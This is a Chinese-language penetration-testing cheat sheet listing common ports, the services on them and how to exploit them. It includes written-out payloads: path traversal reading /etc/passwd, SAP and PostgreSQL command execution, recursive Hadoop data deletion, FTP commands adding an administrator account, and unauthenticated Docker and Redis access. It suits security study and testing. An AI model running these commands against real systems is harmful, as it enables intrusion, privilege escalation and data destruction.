面對一個目標主機時,我們往往通過端口掃描來了解目標主機開放的端口和服務。當看到一個端口號時,你是否已經猜到它是什么服務,以及它可能存在哪些安全漏洞和利用姿勢呢?
今天分享一些常見的端口服務及漏洞利用,幫助你快速找到獲取主機權限的攻擊路徑。
1、遠程管理端口
22 端口(SSH)
安全攻擊:弱口令、暴力猜解、用戶名枚舉
利用方式:
1、通過用戶名枚舉可以判斷某個用戶名是否存在於目標主機中,
2、利用弱口令/暴力破解,獲取目標主機權限。
23 端口(Telnet)
安全漏洞:弱口令、明文傳輸
利用方式:
1、通過弱口令或暴力破解,獲取目標主機權限。
2、嗅探抓取telnet明文賬戶密碼。
3389 端口(RDP)
安全漏洞:暴力破解
利用方式:通過弱口令或暴力破解,獲取目標主機權限。
5632 端口(Pcanywhere)
安全漏洞:弱口令、暴力破解
利用方式:通過弱口令或暴力破解,獲取目標主機權限
5900 端口(VNC)
安全漏洞:弱口令、暴力破解
利用方式:通過弱口令或暴力破解,獲取目標主機權限。
2、Web中間件/服務端口
1090/1099 端口(RMI)
安全漏洞:JAVA RMI 反序列化遠程命令執行漏洞
利用方式:使用nmap檢測端口信息。
端口信息:1099/1090 Java-rmi Java RMI Registry
檢測工具:attackRMI.jar
7001 端口(Weblogic)
安全漏洞:弱口令、SSRF、反序列化漏洞
利用方式:
1、控制台弱口令上傳war木馬
2、SSRF內網探測
3、反序列化遠程代碼執行等
8000 端口(jdwp)
安全漏洞:JDWP 遠程命令執行漏洞
端口信息:
8000 jdwp java Debug Wire Protocol
檢測工具:https://github.com/IOActive/jdwp-shellifier
8080 端口(Tomcat)
安全漏洞:弱口令、示例目錄
利用方式:通過弱口令登錄控制台,上傳war包。
8080 端口(Jboss)
安全漏洞:未授權訪問、反序列化。
利用方式:
1、未授權訪問控制台,遠程部署木馬
2、反序列化導致遠程命令執行等。
檢測工具:https://github.com/joaomatosf/jexboss
8080 端口(Resin)
安全漏洞:目錄遍歷、遠程文件讀取
利用方式:通過目錄遍歷/遠程文件讀取獲取敏感信息,為進一步攻擊提供必要的信息。
任意文件讀取POC:
payload1 = "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd"
payload2 = "/resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../../../../etc/passwd"
payload3 = "/ ..\\\\web-inf"
8080 端口(Jetty)
安全漏洞:遠程共享緩沖區泄漏
利用方式:攻擊者可以通過精心構造headers值來觸發異常並偏移到共享緩沖區,其中包含了之前其他用戶提交的請求,服務器會根據攻擊者的payload返回特定位置的數據。
檢測工具:https://github.com/GDSSecurity/Jetleak-Testing-Script
8080 端口(GlassFish)
安全漏洞:弱口令、任意文件讀取
利用方式:
1、弱口令admin/admin,直接部署shell
2、任意文件讀取獲取服務器敏感配置信息
8080 端口(Jenkins)
安全漏洞:未授權訪問 、遠程代碼執行
利用方式:訪問如下url,可以執行腳本命令,反彈shell,寫入webshell等。
http://<target>:8080/manage
http://<target>:8080/script
8161 端口(ActiveMQ)
安全漏洞:弱口令、任意文件寫入、反序列化
利用方式:默認密碼admin/admin登陸控制台、寫入webshell、上傳ssh key等方式。
9043 端口(webSphere)
安全漏洞:控制台弱口令、遠程代碼執行
后台地址:https://:9043/ibm/console/logon.jsp
50000 端口 (SAP)
安全漏洞:遠程代碼執行
利用方式:攻擊者通過構造url請求,實現遠程代碼執行。
POC:http://<target>:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd.exe /c ipconfig /all
50070 端口(hadoop)
安全漏洞:未授權訪問
利用方式:攻擊者可以通過命令行操作多個目錄下的數據,如進行刪除操作。
curl -i -X DELETE “http://ip:50070/webhdfs/v1/tmp?op=DELETE&recursive=true“
curl -i -X PUT “http://ip:50070/webhdfs/v1/NODATA4U_SECUREYOURSHIT?op=MKDIRS“
3、數據庫端口
389 端口(ldap)
安全漏洞:未授權訪問 、弱口令
利用方式:通過LdapBrowser工具直接連入。
1433 端口(Mssql)
安全漏洞:弱口令、暴力破解
利用方式:差異備份getshell、SA賬戶提權等
1521 端口(Oracle)
安全漏洞:弱口令、暴力破解
利用方式:通過弱口令/暴力破解進行入侵。
3306 端口(MySQL)
安全漏洞:弱口令、暴力破解
利用方式:利用日志寫入webshell、udf提權、mof提權等。
5432 端口( PostgreSQL)
安全漏洞:弱口令、高權限命令執行
利用方式:攻擊者通過弱口令獲取賬號信息,連入postgres中,可執行系統命令。
PoC參考:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
5984 端口(CouchDB)
安全漏洞:垂直權限繞過、任意命令執行
利用方式:通過構造數據創建管理員用戶,使用管理員用戶登錄,構造惡意請求觸發任意命令執行。
后台訪問:http://<target>:5984/_utils
6379 端口(Redis)
安全漏洞:未授權訪問
利用方式:絕對路徑寫webshell 、利用計划任務執行命令反彈shell、
公私鑰認證獲取root權限、主從復制RCE等。
9200 端口(elasticsearch)
安全漏洞:未授權訪問、命令執行
檢測方式:
1、直接訪問如下url,獲取相關敏感信息。
http://<target>:9200/_nodes
查看節點數據http://<target>:9200/_river 查看數據庫敏感信息
2、通過構造特定的數據包,執行任意命令。
11211 端口(MemCache)
安全漏洞:未授權訪問
檢測方式:無需用戶名密碼,可以直接連接memcache 服務的11211端口。
nc -vv <target> 11211
27017 端口(Mongodb)
安全漏洞:未授權訪問、弱口令
利用方式:未授權訪問/弱口令,遠程連入數據庫,導致敏感信息泄露。
4、常見協議端口
21 端口(FTP)
安全漏洞:1、配置不當 2、明文傳輸 3、第三方軟件提權
利用方式:
1、匿名登錄或弱口令
2、嗅探ftp用戶名和密碼
3、Serv-U權限較大的賬號可導致系統命令執行。
FTP提權命令:# 增加系統用戶
Quote site exec net user 4567 4567 /add
# 提升到管理員權限
Quote site exec net localgroup administrators 4567 /add
25 端口(SMTP)
攻擊方式:1、匿名發送郵件 2、弱口令 3、SMTP用戶枚舉
利用方式:
1、SMTP服務器配置不當,攻擊者可以使用任意用戶發送郵件。
2、SMTP弱口令掃描,獲取用戶賬號密碼,發送郵件釣魚。
3、通過SMTP用戶枚舉獲取用戶名:
nmap -p 25 -- smtp-enum-users.nse <target>
53 端口(DNS)
安全攻擊:1、DNS域傳送漏洞、DNS欺騙、DNS緩存投毒
檢測方式:
1、DNS域傳送漏洞,Windows下檢測使用nslookup命令,Linux下檢測使用dig命令,通過執行命令可以清楚的看到域名解析情況。
2、DNS欺騙就是攻擊者冒充域名服務器的一種欺騙行為。
3、DNS緩存投毒是攻擊者欺騙DNS服務器相信偽造的DNS響應的真實性。
161 端口(SNMP)
安全漏洞:默認團體名/弱口令訪問
利用方式:通過nmap自帶的審計腳本進行檢測,可能導致敏感信息泄露。。
1、弱口令檢測:nmap –sU –p161 –script=snmp-brute <target>
2、獲取系統信息:nmap –sU –p161 –script=snmp-sysdescr <target>
3、獲取用戶信息:nmap -sU -p161 --script=snmp-win32-user <target>
4、獲取網絡端口狀態:nmap -sU -p161 --script=snmp-netstat <target>
443 端口(SSL)
安全漏洞:OpenSSL 心臟出血
利用方式:攻擊者可以遠程讀取存在漏洞版本的openssl服務器內存中長大64K的數據。
掃描腳本:nmap -sV --script=ssl-heartbleed <target>
445 端口(SMB)
安全漏洞:信息泄露、遠程代碼執行
利用方式:可利用共享獲取敏感信息、緩沖區溢出導致遠程代碼執行,如ms17010。
873 端口(Rsync)
安全漏洞:匿名訪問、弱口令
利用方式:攻擊者可以執行下載/上傳等操作,也可以嘗試上傳webshell。
1、下載:#rsync -avz a.b.c.d::path/file path/filiname
2、上傳:#rsync -avz path/filename a.b.c.d::path/file
2181 端口(Zookeeper)
安全漏洞:未授權訪問
檢測方式:攻擊者可通過執行envi命令獲得系統大量的敏感信息,包括系統名稱、Java環境。
echo envi | nc ip port
2375 端口(Docker)
安全漏洞:未授權方式
檢測方式:通過docker daemon api 執行docker命令。
#列出容器信息,效果與docker ps -a 一致。
curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 start <Container Id>